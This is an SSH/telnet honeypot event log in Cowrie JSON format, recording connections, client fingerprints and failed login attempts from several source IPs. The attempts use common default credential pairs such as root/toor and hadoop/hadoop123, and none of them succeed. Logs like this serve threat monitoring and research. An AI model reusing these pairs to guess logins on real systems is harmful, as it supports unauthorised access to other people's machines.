{"eventid":"cowrie.session.closed","duration":94.284099817276,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:31.342194Z","src_ip":"152.42.224.71","session":"37044f173d5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":85.5626974105835,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:32.023358Z","src_ip":"152.42.224.71","session":"bdf2effcc493","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40990,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f60edccc893","protocol":"telnet","message":"New connection: 152.42.224.71:40990 (10.17.0.5:23) [session: 7f60edccc893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:32.486385Z"}
{"eventid":"cowrie.session.closed","duration":33.43635678291321,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:33.279810Z","src_ip":"152.42.224.71","session":"ebbc54cd78d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54866,"dst_ip":"159.203.135.109","dst_port":22,"session":"290c5b093d82","protocol":"ssh","message":"New connection: 31.40.204.166:54866 (159.203.135.109:22) [session: 290c5b093d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:35.710386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:35.788328Z","src_ip":"31.40.204.166","session":"290c5b093d82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:35.899282Z","src_ip":"31.40.204.166","session":"290c5b093d82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:36.813097Z","src_ip":"31.40.204.166","session":"290c5b093d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:37.992117Z","src_ip":"31.40.204.166","session":"290c5b093d82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":59478,"dst_ip":"10.17.0.5","dst_port":22,"session":"8444eb11ee4d","protocol":"ssh","message":"New connection: 179.176.210.17:59478 (10.17.0.5:22) [session: 8444eb11ee4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:38.783222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:38.786751Z","src_ip":"179.176.210.17","session":"8444eb11ee4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:38.942300Z","src_ip":"179.176.210.17","session":"8444eb11ee4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.58929634094238,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:39.321941Z","src_ip":"152.42.224.71","session":"e24d5a631f7b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin1234","message":"login attempt [administrator/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:39.587729Z","src_ip":"179.176.210.17","session":"8444eb11ee4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":89.95430636405945,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:39.930408Z","src_ip":"152.42.224.71","session":"4a71a4a68ea1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:40.743818Z","src_ip":"179.176.210.17","session":"8444eb11ee4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40418,"dst_ip":"10.17.0.5","dst_port":23,"session":"75ae12a16384","protocol":"telnet","message":"New connection: 152.42.224.71:40418 (10.17.0.5:23) [session: 75ae12a16384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:40.992105Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40424,"dst_ip":"10.17.0.5","dst_port":23,"session":"5867416afbb5","protocol":"telnet","message":"New connection: 152.42.224.71:40424 (10.17.0.5:23) [session: 5867416afbb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:41.774549Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40430,"dst_ip":"10.17.0.5","dst_port":23,"session":"86eabd7a5ce1","protocol":"telnet","message":"New connection: 152.42.224.71:40430 (10.17.0.5:23) [session: 86eabd7a5ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:45.127456Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50688,"dst_ip":"159.203.135.109","dst_port":22,"session":"5afb030f4e80","protocol":"ssh","message":"New connection: 31.40.204.166:50688 (159.203.135.109:22) [session: 5afb030f4e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:47.883841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:47.891297Z","src_ip":"31.40.204.166","session":"5afb030f4e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:48.018517Z","src_ip":"31.40.204.166","session":"5afb030f4e80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:48.703676Z","src_ip":"31.40.204.166","session":"5afb030f4e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:49.883870Z","src_ip":"31.40.204.166","session":"5afb030f4e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.64631724357605,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:51.586588Z","src_ip":"152.42.224.71","session":"2f17c142bcb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.218711853027344,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:52.485572Z","src_ip":"152.42.224.71","session":"4ffd25a713f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.30445671081543,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:53.781748Z","src_ip":"152.42.224.71","session":"ad39ec935a24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39994,"dst_ip":"10.17.0.5","dst_port":23,"session":"523cd250c7af","protocol":"telnet","message":"New connection: 152.42.224.71:39994 (10.17.0.5:23) [session: 523cd250c7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:55.286459Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39984,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9255d4214f5","protocol":"telnet","message":"New connection: 152.42.224.71:39984 (10.17.0.5:23) [session: f9255d4214f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:56.074826Z"}
{"eventid":"cowrie.session.closed","duration":120.00237774848938,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:58.689045Z","src_ip":"152.42.224.71","session":"c9cec5f87e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41266,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a71e5f9ae0f","protocol":"ssh","message":"New connection: 31.40.204.166:41266 (159.203.135.109:22) [session: 8a71e5f9ae0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:59.512742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:59.516586Z","src_ip":"31.40.204.166","session":"8a71e5f9ae0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37158,"dst_ip":"10.17.0.5","dst_port":23,"session":"80dd1c5f949c","protocol":"telnet","message":"New connection: 152.42.224.71:37158 (10.17.0.5:23) [session: 80dd1c5f949c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:59.540226Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:16:59.699214Z","src_ip":"31.40.204.166","session":"8a71e5f9ae0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:00.128440Z","src_ip":"31.40.204.166","session":"8a71e5f9ae0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:01.521343Z","src_ip":"31.40.204.166","session":"8a71e5f9ae0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.44610810279846,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:09.865554Z","src_ip":"152.42.224.71","session":"6c13c835385b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45722,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a934e28f823","protocol":"ssh","message":"New connection: 31.40.204.166:45722 (159.203.135.109:22) [session: 7a934e28f823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:11.283113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:11.305850Z","src_ip":"31.40.204.166","session":"7a934e28f823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:11.411472Z","src_ip":"31.40.204.166","session":"7a934e28f823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:12.122839Z","src_ip":"31.40.204.166","session":"7a934e28f823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.773436069488525,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:12.259704Z","src_ip":"152.42.224.71","session":"7f60edccc893","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:13.398057Z","src_ip":"31.40.204.166","session":"7a934e28f823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.980372190475464,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:13.509798Z","src_ip":"152.42.224.71","session":"91eb578f3133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.46864938735962,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:20.543331Z","src_ip":"152.42.224.71","session":"f9255d4214f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.26423931121826,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:21.023082Z","src_ip":"152.42.224.71","session":"daa986f1b41c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54370,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d868e7e19ad","protocol":"ssh","message":"New connection: 31.40.204.166:54370 (159.203.135.109:22) [session: 4d868e7e19ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:22.982787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:23.004878Z","src_ip":"31.40.204.166","session":"4d868e7e19ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:23.191433Z","src_ip":"31.40.204.166","session":"4d868e7e19ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:23.711811Z","src_ip":"31.40.204.166","session":"4d868e7e19ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:24.893691Z","src_ip":"31.40.204.166","session":"4d868e7e19ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.08970713615417,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:25.144540Z","src_ip":"152.42.224.71","session":"695fde3f144a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":49032,"dst_ip":"10.17.0.5","dst_port":22,"session":"28c1f52d7e04","protocol":"ssh","message":"New connection: 87.251.79.125:49032 (10.17.0.5:22) [session: 28c1f52d7e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:25.176126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:25.187818Z","src_ip":"87.251.79.125","session":"28c1f52d7e04","protocol":"ssh"}
